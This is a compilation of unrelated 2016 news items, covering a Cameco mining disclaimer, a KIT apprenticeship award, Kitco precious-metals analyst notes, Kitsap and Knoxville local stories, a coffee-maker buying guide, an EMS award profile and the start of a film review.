This information is based upon a number of assumptions that, while considered reasonable by management, are subject to significant uncertainties and contingencies. We have assumed that: we will be able to implement the suspension of production at Rabbit Lake and the curtailment of our U.S. operations by deferral of wellfield development in the manner, within the timelines, at the cost levels and with the benefits anticipated; we will be able to resume production at Rabbit Lake and continue wellfield development at our U.S. operations successfully when market conditions warrant; the impact of these decisions on our production levels and capital expenditures will be as expected; our production plans succeed; and that the McClean Lake mill will receive the necessary regulatory approvals, and will not be affected by any labour dispute, so that we will be able to achieve our production target at Cigar Lake.

This information also involves known and unknown risks, uncertainties, and other factors that may cause actual results and developments to differ materially from those expressed or implied. They include the risks that: unexpected difficulties or delays arise in the implementation of the suspension of production at Rabbit Lake or curtailment of production at our U.S. operations; our cost estimates may be inaccurate or we do not receive the benefits expected; the resumption of production and wellfield development in the future is complicated by unexpected impediments; our production plans do not succeed for any reason; and that we will not be able to meet our revised production targets.

Please also see our most recent annual information form and annual MD&A for other risks and assumptions relevant to the forward-looking information in this news release. We are providing this forward-looking information to help you understand management's views regarding these decisions and it may not be appropriate for other purposes. Cameco does not undertake any obligation to update or revise forward-looking information, except to the extent legally required.

Qualified Person

The above scientific and technical information related to the McArthur River/Key Lake operation was approved by Dave Bronkhorst, vice-president, mining & technology, who is a qualified person for the purpose of National Instrument 43-101.

The above scientific and technical information related to the Cigar Lake mining operation was approved by Les Yesnik, general manager, Cigar Lake, who is a qualified person for the purpose of National Instrument 43-101.
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Children play in a makeshift camp at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Many thousands of migrants remain at the Greek border with Macedonia, hoping that the border crossing will reopen, allowing them to move north into central Europe. (AP Photo/Gregorio Borgia)
Lukas Geschwender is granted the 2016 Helmholtz Apprenticeship Award for his achievements in vocational training. (Photo: Lydia Albrecht, KIT)

Lukas Geschwender of Karlsruhe Institute of Technology (KIT) has won the 2016 Helmholtz Apprenticeship Award. For his outstanding achievements, the 21-year old biology lab assistant was granted the first place and price money in the amount of EUR 1000 by the Helmholtz Association. The awards ceremony took place yesterday evening (April 07, 2016) in Berlin. At the Molecular Cell Biology Division of the KIT Botanical Institute, Geschwender was involved in a research project and experimentally identified genetic factors that make rice more resistant to salt stress. Having completed his vocational training as a biology lab assistant, he now studies applied biology at KIT.

Vocational training is a central priority of KIT as is the education of our students. With about 470 trainees, the KIT is among the biggest companies providing vocational training in the region, KIT Vice President for Human Resources and Law, Dr. Elke Luise Barnstedt, says. The Apprenticeship Award granted to Lukas Geschwender shows that trainees can play an important role in research, make decisive contributions, and, in this way, are provided with excellent training. I am very happy about this and cordially congratulate him and his trainers.

Rice is one of the main sources of food worldwide. The plant may be exposed to salt stress when the fields are flooded with seawater, for instance. During his training, Lukas Geschwender, together with a doctoral student of KIT, conducted research at the International Rice Research Institute (IRRI) on the Philippines. Their work was aimed at making rice plants more resistant to drought and salt. In experiments, the biology lab assistant found several genetic factors enhancing resistance. The findings will help better protect cultivated rice plants against environmental impacts in the future.

Awards ceremony in Berlin: Helmholtz President Prof. Otmar Wiestler with Lukas Geschwender. (Photo: Ernst Fesseler)

Under the said project, the team of KIT isolated and analyzed rice mutants, i.e. genetically modified variations of the plant that are more tolerant to drought and soil salinization. Then, they compared their protein spectra with that of the wild type. For their research, the scientists used a method called Smart Breeding. Here, the seedling already shows whether crossbreeding was a success. Geschwender among others had to find the right time shortly before blossoming for the analysis of pistils and stamens. Due to this small time window, he had to adhere to a strict schedule. For the study results being of use, the researchers needed a sufficient amount of samples within a few days. Geschwender had to examine the development state of the test plants which grew with variable speed depending on air humidity or solar irradiation. As a biology lab assistant, he supported the scientists, sterilized the seeds, and made them presprout in the greenhouse. In addition, he supplied the plants with water and fertilizers. Furthermore, he conducted own research and obtained results that are now used by the whole research group.

Lukas Geschwender passed his apprenticeship to become a biology lab assistant at the Botanical Institute I headed by Professor Peter Nick from 2012 to 2015. For his excellent achievements he has already been granted the prize for the best trainee in his discipline by the Chamber of Industry and Commerce.

Portrait of Lukas Geschwender: https://www.helmholtz.de/bildung/der-reiszuechter-5481/

(in German only)

About the Helmholtz Apprenticeship Award

The Helmholtz Apprenticeship Award in the amount of EUR 1000 was granted by the Helmholtz Association for the second time in 2016. The Award honors excellent achievements reached by trainees of the 18 Helmholtz Centres during their support of scientific research. The main criterion is the extent to which the respective research center profits from the achievement of the trainee by e.g. time and/or financial savings, contributions to innovation or the positive representation of the center to the public.

Being The Research University in the Helmholtz Association, KIT creates and imparts knowledge for the society and the environment. It is the objective to make significant contributions to the global challenges in the fields of energy, mobility, and information. For this, about 9,800 employees cooperate in a broad range of disciplines in natural sciences, engineering sciences, economics, and the humanities and social sciences. KIT prepares its 22,300 students for responsible tasks in society, industry, and science by offering research-based study programs. Innovation efforts at KIT build a bridge between important scientific findings and their application for the benefit of society, economic prosperity, and the preservation of our natural basis of life. KIT is one of the German universities of excellence.
Silver, often referred to as poor man's gold" or high-beta gold, could rise to $20 an ounce in the foreseeable future if the gold/silver ratio continues to fall to historical levels, says Deutsche Bank. The metal often outperforms gold to both the upside and downside, and has been rallying strongly lately in what many have described as a catch-up move to golds early-year gains. Silver is now up some 25% year to date, versus 18% for gold, the bank points out. We think momentum could carry silver as high as $20/oz in the near term, Deutsche Bank says. However, in order to see a continued rerating of silver versus gold, we need to see a number of financial conditions either continue or for momentum to continue. For now, a dovish Federal Reserve is helping gold. Deutsche Bank also looks for positive momentum in the U.S. and Chinese manufacturing purchasing managers indexes, which bodes well for silver since more than half of its demand is industrial in nature, compared to maybe 10% for gold. The gold/silver ratio measures how many silver ounces it takes to buy an ounce of gold, with a declining number meaning silver is outperforming. This ratio was around 80 as recently as a couple of weeks ago but has fallen to 72.5. If gold remains range-bound around $1,250 an ounce, a rerating in the ratio to 66.6 (the average from 1983 to 2003) would take silver up to $18.80, Deutsche Bank says. A rerating in the ratio to 61.1 (the average since 2003) would take silver as $20.50, the bank adds.

By Allen Sykora of Kitco News; asykora@kitco.com

Commerzbank: Gold Demand Has Clearly Shifted Somewhat From East To West

Swiss trade data suggest gold demand has shifted from Eastern nations back to Western ones, says Commerzbank. Analysts cite customs data showing Switzerland exported 118 tonnes of gold in March, more than in February but less than March 2015. Exports to Asia were further down on even the previous months weak figure, which points to subdued demand there, Commerzbank says. The lowest volume in 15 months was shipped to India, for example, while exports to China and Hong Kong combined dropped to an eight-month low. By contrast, gold exports to Great Britain increased to 44.2 tonnes, their highest level since September 2012. This was doubtless due to ETF (exchange-traded-fund) demand, which was still high up to that point.Gold demand has clearly shifted somewhat from East to West again, in other words.

By Allen Sykora of Kitco News; asykora@kitco.com

HSBC: We Think Gold Will Go Higher, But Not Yet

HSBC says gold may need a period of consolidation after stellar gains in the first quarter. In the case of gold, after running up sharply in the first quarter, builds in the ETFs (exchange-traded funds) have stalled and we have not seen material accumulation recently, the bank says. Further, net-long speculative positioning on Comex is high, rising around 21 million ounces this year, HSBC says. We think gold will go higher, but not yet, the bank says. Prices may need to consolidate around $1,250 first. Similarly for silver, we favor the market above $17/oz, but expect volatility and further gains may be hard to hold. On the positive side, it appears that solar-panel demand is up and retail demand is solid for silver.

By Allen Sykora of Kitco News; asykora@kitco.com

HSBC: Supply/Demand Fundamentals Gradually Tightening For PGMs

HSBC looks for platinum group metals to rise on gradually tightening fundamentals. The bank points out that top South African producer Anglo American reported higher primary production in the first quarter but lower refined output, with the latter materially impacted by a planned stock take at the Precious Metal Refinery and safety stoppages that closed the refinery for 12 days. Consequently, refined platinum production decreased by 52% to 261,000 ounces, with similar decreases for palladium and rhodium, HSBC says, describing this as supportive for the metals since it shows limited upside for output. Meanwhile, imports by the worlds largest PGM consumer, China, were strong in the first quarter, HSBC continues. March palladium imports were down by 21% year-on-year in March, but were up by 61% for the entire first quarter, HSBC points out. Platinum imports were up 11% for the quarter. We attribute strong palladium imports to good auto demand, which absorbs the bulk of palladium sent to China, HSBC says, citing a jump in Chinese vehicle production late last year. Meanwhile, low platinum prices appear to have stimulated greater purchases of this metal for jewelry, HSBC adds.

By Allen Sykora of Kitco News; asykora@kitco.com
Endeavour Mining (TSX: EDV; OTCQX: EDVMF) and True Gold Inc. (TSXV: TGM) report that their shareholders have approved terms of a previously announced agreement in which Endeavour will acquire True Gold. The official closing is expected to be Tuesday, pending exchange and British Columbia Supreme Court approvals, Endeavour says. True Gold has a 90% interest in the Karma gold mine in Burkina Faso. We look forward to closing the True Gold transaction next week and expect then swiftly to integrate the Karma mine into our portfolio, says Neil Woodyer, chief executive officer of Endeavour. Following the first gold pour last week, the operational ramp-up is progressing well and commercial production is scheduled to begin in June. We expect to communicate our updated production guidance for 2016, inclusive of Karma, with our second quarter results."

By Allen Sykora of Kitco News; asykora@kitco.com

Detour Gold Says Charges Filed Over Death Of Mine Worker

Detour Gold Corp. (TSX: DGC) reports that it has been charged with criminal negligence in the death of a worker at the Detour Lake mine site on June 3. Investigations continue by the Ontario Provincial Police and the Ministry of Labour, Detour reports. The company says the Ministry of Labour has until this June to conclude its investigation, so there could be additional regulatory charges. "We have and will continue to cooperate fully with both the Ontario Provincial Police and Ministry of Labour throughout their investigations and are taking these charges very seriously. We now need to obtain the information on which the charges have been brought in order to be in a position to comment further. In the meantime, we would like to express our sincere condolences to the family," says Paul Martin, president and chief executive officer of Detour Gold.

By Allen Sykora of Kitco News; asykora@kitco.com
The Northwind, a 1930s era yacht, lists while moored Wednesday at the Bremerton Marina. Approximately 2,000 gallons of diesel fuel was removed to prevent it from leaking out. Contributed photo / Coast Guard Chief Petty Officer Donald Warden

By Tristan Baurick of the Kitsap Sun

BREMERTON  The Coast Guard on Wednesday removed 2,000 gallons of fuel from a historic yacht taking on water in the Bremerton Marina.

The 130-foot vessel, thought to have hosted Winston Churchill, Jackie Kennedy and Princess Elizabeth, was found to be listing and taking on water April 14. Marina staff alerted the Coast Guard that the vessel might sink and release its fuel into Sinclair Inlet.

The yacht's owner, a Massachusetts resident, was notified but could not take immediate repair actions, according to the Coast Guard.

The Coast Guard hired a marine salvage company to inspect and stabilize the vessel. The company's divers patched all noticeable damage but were unable to stop the Northwind from taking on water. Removal of the yacht's diesel fuel was completed late Wednesday night.

Coast Guard officials say the Northwind's owner is developing a salvage plan. The cost of pumping the fuel was covered by a federal oil spill response trust and does not need to be paid back. The Coast Guard had no cost estimates for the fuel removal or repairs. Salvage costs will need to be covered by the owner.

Marina staff are operating a water pump to prevent the vessel from sinking.

"If they weren't doing that, yes, eventually it would sink," Coast Guard spokesman Levi Read said. "Right now, it looks like a salvage operation would require it to be hauled out of the water for repairs."

The yacht had been for sale for $750,000.

It was built in 1930 and was said by its caretaker to have supported combat missions during World War II and might have been a retreat for Churchill. In 1951, it was docked in Malta and hosted the princess who would become Elizabeth II. Ten years later, Kennedy was welcomed aboard during the yacht's time in the service of the Greek government, according to a biography posted on the vessel.
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By Christina Henry of the Kitsap Sun

KINGSTON  North Kitsap Fire and Rescue responded Thursday to complaints about a large, controlled burn on private property on Pegasus Lane near Hansville Road NE.

At 12:50 p.m. firefighters arrived at the property to find roughly a half-acre had been burned. Two burn piles were smoldering. Crews extinguished the piles and dug down into the duff to prevent fire spreading.

"Even though we had a lot of rain not too long ago, things have dried out a lot, and people need to be very careful about following the rules," NK Fire spokeswoman Michele Laboda said.

Burn piles larger than 4 feet by 4 feet require a permit. Rules can be found on fire district websites.

The property owner was not cited.
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By Christina Henry of the Kitsap Sun

POULSBO  Since the North Kitsap School District's facilities director was let go in August, the department has been managed by an interim director.

The district has had trouble finding qualified candidates for the job.

Mike Currie's employment as interim director, at $85 an hour, was seen as a stopgap measure. Eight months later, he's still at the helm of a department charged with upkeep, repair and renovation of schools rife with aging (and in some cases failing) HVAC systems, plumbing, roofs and septics.

As in most districts, North Kitsap deferred work on buildings during the recession to conserve resources for the classroom. The amount of work now needed to keep facilities serviceable and safe is staggering.

District officials have discussed running a bond in 2018, when the current bond expires.

Should voters OK the bond, a permanent facilities director must be ready to oversee major construction projects.

The district had a candidate, Robert Collison, a Canadian resident, whose appointment was confirmed Nov. 4. But complications in the immigration process led to the board's rescinding Collison's job offer March 24.

"Having never dealt with immigration, we did not know how to maneuver the process," Superintendent Patty Page said. "We initially were using the wrong process but were well into it before we realized it. After consulting with an immigration attorney, the process and time frame were not doable."

The screening process for the job is handled by Page and top administrators, who make recommendations to the board, as was done with Collison.

"This is a complex position that requires strong leadership, management and skill knowledge," Page said. "Finding someone who can meet the needs of the district and department has been difficult."

Board member Bill Webb said school districts in general have a hard time competing with private sector facilities management jobs. The district initially posted the position July 1  more than a month before the board declined to renew Dave Dyess' contract  with an annual salary of $85,704 to $91,218. The job was advertised again at the same rate Sept. 10.

"We had no bites, and the candidates we had were way underqualified," Webb said.

The board increased the salary range to $103,700 to $115,100 before posting anew Oct. 15.

"The salary was increased to offer a competitive salary," Page said.

Collison was offered the job twice, once under the old rate and again at the new rate, according to former school board member Scott Henden, whose term ran through December.

After the board rescinded the offer to Collison, the position was advertised yet again April 11. The district had no comment as of Thursday on the status of the search.

Henden, replaced in November's election by Glen Robbins, is critical of the delay.

"This was an important position. The progress just didn't happen," Henden said. "At some point you can't say this is important and not fill it."

Henden thinks the district should have cast a wider net, including more focus on candidates outside the school facilities field. He made that suggestion while in office, he said. "I think they have searched in too narrow a field."

School facilities is a specialized field, requiring compliance with and understanding of state capital funding regulations. Page said private sector skills would be transferable.

"The learning curve to understand school systems would be steep but doable," she said.

Interim director Currie initially worked approximately eight hours a week. His contract, allowed for up to 20 hours a week for a period expected to last about 30 days, with extensions OK as needed.

Twenty hours a week was hardly enough to ride herd on daily maintenance, let alone address urgent and critical repairs. Throughout the fall, Currie and his staff tried to shore up a failing HVAC system at Poulsbo Elementary School, where there were ongoing reports of gas-like odors and people feeling ill. After a nearly $40,000 fix to the system last summer under Dyess, the district will pay $1.2 million to have custom-made HVAC units installed. The system is so old, new replacement units are not available.

By November, Currie was working 40 hours a week but only billing the district for 30 hours weekly, he said. He now bills for 35 hours a week but still works full time.

Page and board members commend Currie for his work.

"Of course having a full-time director would have been desirable," Page said. "But our interim, Mike Currie, has done a great job."

Jim Almond, new to the board, toured all schools on taking office and said the district's facilities do not appear to be suffering for lack of a permanent director.

"I think Mike is doing a great job," Almond said. "I know we need a facilities director."

Neither the district nor Currie responded when asked whether Currie had applied or was being considered for the job.

Dyess, who is suing the district for wrongful termination, had worked in North Kitsap two years.

Turnover has been high this school year for key administrative positions. Besides the loss of a permanent facilities director, the district has a new finance director, Kelly Pearson, who replaced Paula Bailey, and a new transportation director, Jeff McGarvey. Former transportation head Ron Lee died last spring.

Page said district officials will not rush the recruitment of a facilities director.

"Finding the right person is critical," she said. "Hiring for hiring's sake is not a sound practice."
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Rob Daugherty, Olalla

Bond costs too much for seniors

Our state representatives for South Kitsap should take note that the tax burden imposed on the average homeowner here will be from $250 to $300 per year, if the school bond on the ballot April 26 passes.

If your home is valued at $300,000, your tax burden will be about $285 per year. You as a homeowner will be stuck with this increase for approximately 30 years.

People on fixed incomes and Social Security surely can't afford these huge property tax increases. Please note that Social Security recipients had zero cost-of-living increases in the years 2009, 2010 and 2016.

It's time our Legislature figured out different ways of funding school capitol projects. Please vote "no" on April 26, so many seniors can remain in their own home.
Stuff reports:

Police Minister Judith Collins and the police have spoken out against claims that community stations in Auckland and the rest of the country will close, saying that is incorrect. NZME had reported that sources within NZ Police had claimed there are plans for the 16 to at least temporarily shut their doors and that some may never re-open. According to NZME, information provided by independent sources and also by Labour MP and Auckland Mayoral candidate Phil Goff claimed that police may be under pressure to reduce their footprint and under pressure to close stations.

Interesting that Goff has been using his parliamentary role to help his campaign by asking numerous parliamentary written questions on Auckland issues.

Collins quickly responded, saying that she was really disappointed that Phil Goff is touting a false story to the media against New Zealand police.  Police have denied the community station closure saying that a new set of infrastructure design features are being introduced for safety measures at police front counters. The new features are designed to deal with the most likely threats at publicly accessible police premises. Our review of existing infrastructure has highlighted a number of premises where more immediate practical steps are needed to increase security. There are 105 stations we have identified in this category around New Zealand, said Acting Assistant Commissioner District Operations, Bruce Bird. In some of these stations, one of the options may be to limit public access at times when constabulary staff are on the premises. This does not mean the stations will permanently close, but the public access at some stations may be, as an interim measure, restricted to those times when a constabulary/authorised officer is available to work at the front counter.

So Goff is attacking the Police for making their staff safer and more secure from attack.

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Shenandoah, IA (51601)

Today

Windy with isolated thunderstorms developing. Low 57F. Winds SSW at 25 to 35 mph. Chance of rain 30%. Higher wind gusts possible..

Tonight

Windy with isolated thunderstorms developing. Low 57F. Winds SSW at 25 to 35 mph. Chance of rain 30%. Higher wind gusts possible.
Becky Dodson takes a photograph of the outgoing and incoming chairs of the United Way of Anderson County fund raising campaign Thursday morning. From left: Gene Patterson, Carroll Welch, William "Bear" Stephenson and Dodson's husband, Jim Dodson. Patterson and Dodson chaired the latest effort, while Welch and Stephenson take the helm for next year's event. (BOB FOWLER/NEWS SENTINEL)

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By Bob Fowler of the Knoxville News Sentinel

OAK RIDGE  After a decline in support in recent years, the United Way of Anderson County during its 2015 campaign saw a $200,000 increase in contributions over the previous year's total, a crowd of about 100 were told during the organization's annual meeting Thursday.

Unaudited results show the nonprofit, which provides financial assistance to 35 member agencies, received $1,066,000, said Naomi Asher, hired last May as the new executive director.

"She (Asher) hit the ground running and she never stopped," said Tom Hilton, president of the United Way Board of Directors.

Asher credited improvement in the local economy combined with a different approach to fund-raising strategies for the turnaround.

Rather than relying on a large gala as its fall fund-raising kickoff, she said the United Way put other measures into play, including a benefit concert and Christmas tree sales. An awards banquet and the agency's partnership with a Jackson Square event titled "Taste of Anderson County" also helped, she said.

Kudos were paid to outgoing campaign co-chairmen Gene Patterson and Jim Dodson, while the duo in charge of the upcoming campaign, Carroll Welch and William "Bear" Stephenson, were welcomed.

"When we work united, good things happen," Patterson said.
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Youth program seeks applicants

Do you know a high school student who loves to lead in his or her youth group, youth council or school? Someone who wants to learn, serve and make the world a better place?

Horizons, Maryville College's weeklong summer youth theology program, is designed to give rising 10th, 11th and 12th graders of any faith background the opportunity to live on campus in a small group setting while exploring how Christian faith connects to modern challenges and discovering how to make a difference in the world. The program emphasizes personal growth, as well as developing leaders for the church, school and community.

During this year's program, scheduled for June 12-17 on the Maryville College campus, Horizons will explore how to live out Jesus' command to love our neighbor in a world of diversity. The title for the 2016 program is "Peoples of the Books: Reading the Bible/Reading the Qur'an." Dr. Phillip Sherman, associate professor of religion, and Rev. Dr. Anne McKee, campus minister, will lead conversations about how Christianity and Islam differ and where they overlap.

Throughout the week, participants will have the opportunity to experience life on a college campus, participate in team-building activities such as a low ropes course, a hike in the Smoky Mountains and a climb up the Mountain Challenge Alpine Tower, a 55-foot vertical obstacle course.

A limited number of spaces are available and will be accepted on a first-come, first-served basis. The cost for the week is $225 per student, which covers the program, as well as food and housing. Some scholarship assistance is available. Registration and payment can be completed online at maryvillecollege.edu/horizons.

Horizons participants who later enroll at Maryville College are eligible to receive the Horizons Leadership Award, worth $500 in aid annually.

Info: Kathleen Farnham at 865.981.8217 or kathleen.farnham@maryvillecollege.edu.

Concert raises funds for refugeess

A benefit concert on Saturday, April 30, will feature local jazz musician Kukuly Uriarte and Canadian recording artist Kenny Munshaw. It will be held at Tennessee Valley Unitarian Universalist Church at 7 p.m. and will raise money to assist refugee families as they settle in the Knoxville community.

Tickets are $15 in advance and $20 at the door, for $12 in advance for seniors and students or $15 at the door. Purchase them at the church, 2931 Kingston Pike, or online at http://tvuuc.org/refugeeconcert

Other activities and events include:

Mount Harmony Baptist Church: Singing at 7 p.m. on Saturday, April 30, with The Betterway Quartet, Forgiven and Haleigh Adams. 819 Raccoon Valley Road NE, Heiskell, 1 mile west of Interstate 75 at Exit 117.

Seekers of Silence: The Contemplative Saturday Morning meeting from 9 a.m. to noon on Saturday, May 7, will be the annual Bookshare and Roundtable Discussion at which participants will discuss spiritual books and poetry they have read recently. Church of the Savior, 934 N. Weisgarber Road. All are welcome. The group's semiannual organizational meeting will be held following the program. For more information, visit sosknoxville.org.

City View Baptist Church: Sale to fund purchase of a new van will be held from 8 a.m. to 3 p.m. on Saturday, May 7. Open to anyone who would like to operate a booth and get rid of their "stuff." The church asks that they give 10 percent of their earnings to the van fund. The City View U will be selling at the same time, but they will be keeping their money for Passion and their other activities. City View U will accept donations of items to sell (or cash) on the morning or evening of Sunday, April 24, or call to make arrangements for another time. The sale will be in the church's front and side parking lots, 2311 Fine Ave.

Christus Victor Lutheran Church: Spring Rummage Sale 8 a.m. to 5 p.m. on Friday, April 29, and 8 a.m. to noon on Saturday, April 30, with household, clothing and children's Items; baked goods. 4110 Central Avenue Pike. For more information, call 687-6622.

First Farragut United Methodist Church: Early registration for the Vacation Bible School, Cave Quest VBS, is open. Families who pre-register by Tuesday, May 31, will get a free VBS CD (one per family). VBS will be held from 6-8:30 p.m. nightly June 13-16 at the church. Children ages 3 through fifth grade are invited Register at www.ffumc.org under the events tab. 12733 Kingston Pike. For more information, contact: Paige Morgan, director of Children and Family Ministries, at 966-8430 or pmorgan@ffmuc.org.

Beaver Ridge United Methodist Church: A free Spring Food Drop will be held 8-10 a.m. on Saturday, April 30, in the Family Life Center as the church helps Second Harvest Food Bank give away free food. Volunteers will help bag the food and carry it to your car if needed. Volunteers and donations of non-perishable food items and cleaning supplies welcome. 7753 Oak Ridge Highway in the heart of Karns. For more information, call the church office at 690-1060 or visit www.beaverridgeumc.com.

Trinity United Methodist Church: Fundraiser for special mission projects will be held on Saturday, May 7, with a Flea Market from 8 a.m. to 2 p.m., United Methodist Men's Pancake Breakfast 8 a.m.-10 p.m., a Medic Blood Drive, a car wash and a bake sale. Start your day with pancakes, shop for Flea Market finds (remember Mother's Day is May 8), donate blood and get your car washed while you enjoy something from the bake sale. 5613 Western Ave.

Children of God Ministries: The church's Youth Department will present an International Tea/Luncheon 1:30-3:30 p.m. on Sunday, April 24, with taste samples from the U.S., Mexico, Italy, Jamaica and more. 309 Deaderick Ave. For more information, call 803-3799.

Refreshing Springs Church of God in Christ: The church's Inspirational Choir will celebrate their 29th Annual Choir Day Anniversary beginning at 6:30 p.m. on Saturday, April 23. Various groups and choirs are ont he program. 1110 Ohio Ave. in the Lonsdale community. For more information, call 556-7561.
SHARE Use the Hamilton Beach FlexBrew Programmable Single-Serve Coffee Maker to simplify your morning with a single-serve brew. $89.99, www.hamiltonbeach.com On the weekends, master barista Giorgio Milos prefers the more time-intensive Nuova Simonelli Musica. $2,990 to $3,600, www.nuovadistribution.com. Consumer Reports includes this among its recommended single-serve pod machines. This single-cup brewing system lets you make StarbucksAE brewed coffee, espresso, lattes, steamed milk and more. $59, store.starbucks.com Master barista Giorgio Milos uses this machine in his own kitchen for a quick creation in the morning. A steam wand froths milk for creamy cappuccino and latte. $295, www.illy.com

By Alison Bowen, Chicago Tribune (TNS)

Sure, you love your favorite coffee shop and its signature latte. But are you ready to make one at home?

Investing in a high-end coffee maker or espresso machine is a big purchase. Many different types exist, and sticker shock can be an issue.

"People want to make a really educated decision," says Ben Piff, sales manager for Portland-based Clive Coffee. "A lot of people have tried the more affordable equipment in the past, and they're trying to look longer term."

But the options can be overwhelming, said master barista Giorgio Milos, who teaches at Illy coffee company's Universita del Caffe.

"It's sort of a jungle," he said.

We talked to experts to get the basics for beginners and beyond.

Skill level. First, be honest with yourself. What do you really want a coffee maker for?

"Making a good cup of coffee at home is not easy," Milos said.

Maybe you have a basic coffeepot. You grind your own beans, but you find the latte at your local coffee shop attractive  even though it's expensive.

If you're not up for spending a ton of time figuring out the best pour, your best bet might be a pod coffee maker. On the other hand, if you want to lovingly craft and experiment, browse the higher-end espresso machines.

"When you have manual control over the grind fineness, you can really become a home barista and find different flavors in the coffee," Piff said.

In general, the pricier the machine, the more it will allow precise grind, pressure and temperature.

Type of drink. Do you want one shot of espresso each day, or do you want to craft a latte?

If you just want espresso, consider a single-serve espresso maker. "You don't have to grind the beans; you don't have to wait," Milos said.

But for a Saturday morning, for example, he uses a machine that takes 20 minutes to warm up and 10 minutes to clean. "It's a 45-minute process to pull the perfect shot of espresso," he said.

For Piff, an affinity for lattes turned into home brewing.

"I really appreciate the cost savings of having that at home," he said. "I know it would cost me a minimum $4 anywhere to get a latte, and the ones I make at home are better."

On the flip side, if half the year you indulge in iced coffee, think a simple French press or maybe even a Mason jar with some type of filter.

Size and features. The counter space you have might help determine which product you purchase.

If you're in a tiny apartment, you probably don't want a huge contraption.

So think through size and then features. Milos suggests considering such features as temperature control  it's important that the water is hot  and volume control, plus the cleaning cycle.

Consumer Reports ranks pod coffee makers by the speed of the first cup, repeat speed, size consistency, taste and convenience. And consistency of the temperature, which experts say is vital to a great cup.

For a specialty coffee maker, Consumer Reports also looks at convenience, cleaning and the handling of the carafe.

Price. There's some good news  the most expensive ones aren't always the best, Milos said.

"I've seen, on the market, some really expensive machines that don't really work well," Milos said.

And think through future price. What happens if it breaks down: Will you have to ship it across the country? Some places, like Clive Coffee, offer customer help over the phone or through videos to save on shipping.

Piff discusses with customers exactly what they want, so that they end up happy.

"If it's a whim, and somebody buys the machine, and they don't understand the need to have a precise grinder, they're bound to be frustrated really quickly," Piff said. "And the machine will end up in a closet or returned, and they'll feel like, 'I can't make espresso.' And that's really tragic."
Anastasia Huddleston, a Rural Metro Ambulance Paramedic and Shift Commander, and Robert A. Moye, a Reserve Rural Metro Fire Fighter and EMT, were honored at the seventeenth annual Stars of Life awards in Washington, D.C.

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By Ali James of the Knoxville News Sentinel

Two Knoxville emergency responders flew to Washington D.C. to receive a prestigious Star of Life award on April 11.

Anastasia Huddleston, a Rural Metro Ambulance Paramedic and Shift Commander, and Robert A. Moye, a Reserve Rural Metro Fire Fighter and EMT, were among 103 EMTs who were honored from around the country.

"Meeting all of the people from all over the country  the amazing things that they've done and their operations, it was all fascinating," said Huddleston.

The three-day event included an American Medical Responders (AMR) awards ceremony and educational seminars. Both Moye and Huddleston were invited to meet Senators Lamar Alexander and Bob Corker as well as Congressman John J. Duncan, Jr.

In addition to the medal she received, there was also a book with all the honorees' stories in it. "I'll always see that book as my favorite thing," she said.

Each day, Huddleston and her crew report to the Rural Metro home office before they head out for a 12-hour shift. They never know what kinds of calls they are going to get.

On December 2, 2014, Huddleston was picking up some paperwork from dispatch when the call came in about a horrific crash between two school buses.

"When I was on the bus wreck call out, I assisted in managing the resources and deciding which of the injured needed to be sent out first," explained Huddleston. "Then I went into the triage role when the KFD Chief was on the scene. As a supervisor, the number one thing is my crews; if there is anything that can spare them from any sadness or stress, I'll do that. When we are on scene with multiple victims, I'll try to take the worst one, I stayed back for the fatalities."

Those included the two children and teacher's assistant who were tragically killed in the accident.

With stories from her colleagues about that sort of dedication, it is surprising to hear that she discovered her career path by chance.

"I stumbled into it. At 19 a bunch of my friends were signing up for the volunteer rescue squad," said Huddleston. "I went back to school and I went back to school again and again."

At one point she was in medic school, while she worked full-time as an EMT and part time as a volunteer firefighter. Her shift commander, Daphne Epps, spoke of finding her sleeping in her car so she would not miss her shift.

Huddleston is known for taking the time to help educate incoming paramedics. "There's a book way to do things and there's a way to learn in the field," she explained. "We have to show them the small things  the tricks of the trade and things that you don't actually learn in school."

"It was not only the bus incident. She was the first one to roll up her sleeves and jump in and help, she's extremely supportive, it's her leadership that makes her stand out and her clinical abilities," said Christopher Blach, vice president of operations at Rural/Metro who has worked with six Star of Life recipients over his 30-year career. "We announced her winning during our town hall meetings and the feedback that I received was not only her leadership, but her clinical and her mentorship was tremendous."

Robert A. Moye also has a history of going above and beyond. He works full time as a clinical pharmacist specialist at UT Medical Center and associate professor at the UT College of Pharmacy. And somehow he finds time to work as a Rural Metro reserve firefighter/EMT.

"To be recognized is surprising, but to be honored is humbling," said Moye of the award. "It's certainly not why we do it, but it was an opportunity to meet people from all over the country."

"Obviously the event where all of the Stars of Life were together and you got to hear their stories was real impressive," said Moye. "Some of these folks were right out of the headlines. They were the first on the scene in San Bernardino and the Colorado Springs Planned Parenthood incidents."

He also recalls meeting an award recipient who helped set up triage for 20 casualties after a crash on the Las Vegas strip.

"It was an opportunity to pick their brains," he said. "But you pray you never have to do what they had to do."

Moye was first employed by Rural Metro in 1979 as a fire explorer. As soon as he was eligible, he advanced to a reserve firefighter position in 1982.

While Moye completed his undergraduate and graduate studies he continued to serve both Rural/Metro in Knox County and Bartlett Fire Department in Shelby County.

He was one of the founders of the Station 15 fire station in 1984. In the 1990s he returned to school to obtain his EMT license.

In 2014, at a community event to celebrate the station's 30th anniversary, Moye was surprised when colleagues officially named the station after him.

He lives less than a mile from that same station and is always ready when he receives an alert on his smartphone. "I augment manpower on anything from structure fires to traffic accidents," he explained. He often mans the water tender truck, also known as a tanker that transports water to a fire scene when he responds to a fire.

"With a major fire, the fact that you can help them salvage mementos and pictures might not seem like a big deal at the time, but you'll find that they express that really means something," he said.

"The one thing that you'll often hear from EMS workers is that we meet people on their worst day," said Moye. "We try to bring some comfort and caring at their time of crisis. There have been hundreds of those over the course of my career."
Roadside Attractions Tom Hanks as Alan Clay in "A Hologram for the King."

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By Sheri Linden, The Hollywood Reporter

Taking the fish-out-of-water scenario to engagingly symbolic extremes, "A Hologram for the King" places an American business consultant in the middle of the Saudi desert. In that borderline-surreal setting, construction of a visionary megalopolis might or might not be a priority, and a U.S. company's audience with the kingdom's leader, in hope of securing an IT contract for the new city, might or might not be on the immediate calendar.

Though it isn't without its awkward missteps, the movie generally finds Tom Tykwer back in form after the muddled mess of "Cloud Atlas." Adapting Dave Eggers' still-timely 2012 novel, the writer-director wisely accentuates the allegorical story's absurdist slant. He translates the clear-cut prose into strong visuals, while the perfectly cast Tom Hanks delivers a poignant turn as a man facing his own obsolescence.

